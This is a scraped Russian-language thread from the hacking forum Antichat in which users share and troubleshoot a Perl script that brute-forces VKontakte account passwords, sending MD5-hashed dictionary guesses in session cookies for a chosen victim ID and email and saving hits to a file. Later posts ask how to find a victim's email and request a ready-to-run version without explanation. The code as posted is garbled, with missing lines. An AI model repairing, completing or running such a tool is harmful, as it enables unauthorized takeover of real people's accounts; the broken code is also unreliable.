ANTICHAT - [b]Perl-Brut vkontakte[b]

ANTICHAT (https://forum.antichat.xyz/index.php)

- Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)

- - [b]Perl-Brut vkontakte[b] (https://forum.antichat.xyz/showthread.php?t=8052868)

Привет! Вот с одного сайта скачал перл-брут для вконтакте.
Вопрос правильно ли код,нужно что-то поправить? ниже

HTML highlight

Код:

!/usr/bin/perl



use IO::Socket;

use MD5;

use threads;

use threads::shared;

my @pass : shared;



######################################

# C!klodoL

# vkontakte.ru bruteforce with multi-threads

######################################

$dic = 'passl.txt'; #словарь паролей

$id = 1111; #id цели

$mail = 'mail%40mail.com'; #мыло, вместо @ вписать %40

$threads = 4; #количество потоков

######################################



open (pass, "create(\&Brut, $_);}

for(@trl) { $_->join; }



sub Brut

{



while (@pass){



$pass = shift @pass;



$md5 = MD5->hexhash($pass);

$sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>'vkontakte.ru',PeerPort=>80);

print $sock "HEAD http://vkontakte.ru/ HTTP/1.0\r\n".

"Host: vkontakte.ru\r\n".

"Accept: */*\r\n".

"Content-Type: application/x-www-form-urlencoded\r\n".

"User-Agent: Mozillo\r\n".

"C*****: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5\r\n".

"Connection: close\r\n\r\n";

$answ = ;

close $sock;

print "$pass $answ";

if ($answ =~ /302/){

open (good, '>>good.txt');

print good "$id:$pass:$md5\n";

print "$id:$pass:$md5\n";

close good;

exit;}

}



}



goto Next;



sub pass

{

my (@mas);

while (



){

push @mas, $_;

last if (@mas == 400);

}

chomp @mas;

return @mas;

}



$dic = 'passl.txt'; #словарь паролей

$id = 1111; #id цели

$mail = 'mail%40mail.com'; #мыло, вместо @ вписать %40

$threads = 4; #количество потоков

СПАСИБО!

Ну кто может?Лог не пишет.

А как узнать мыло на который зареган вк?

Тоже вопрос? Может хитрость поможет!

почему, я когда запускает появляется черное окно и сразу исчезает, мож не правельный код
code:

open (pass, "create(\&Brut, $_);}
for(@trl) { $_->join; }

sub Brut
{

while (@pass){

$pass = shift @pass;

$md5 = MD5->hexhash($pass);
$sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>'vkontakte.ru',PeerPor t=>80);
print $sock "HEAD http://vkontakte.ru/ HTTP/1.0\r\n".
"Host: vkontakte.ru\r\n".
"Accept: */*\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"User-Agent: Mozillo\r\n".
"C*****: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5\r\n".
"Connection: close\r\n\r\n";
$answ = ;
close $sock;
print "$pass $answ";
if ($answ =~ /302/){
open (good, '>>good.txt');
print good "$id:$pass:$md5\n";
print "$id:$pass:$md5\n";
close good;
exit;}
}

}

goto Next;

sub pass
{
my (@mas);
while (){
push @mas, $_;
last if (@mas == 400);
}
chomp @mas;
return @mas;
}

$dic = 'passl.txt';
$id = 111111;
$mail = 'aaaaa%40mail.com';
$threads = 50;

если не правельный, то напешите сразу готовый, пожалуйста, без пояснений, Что бы вставить поставить мыла и ид изапустить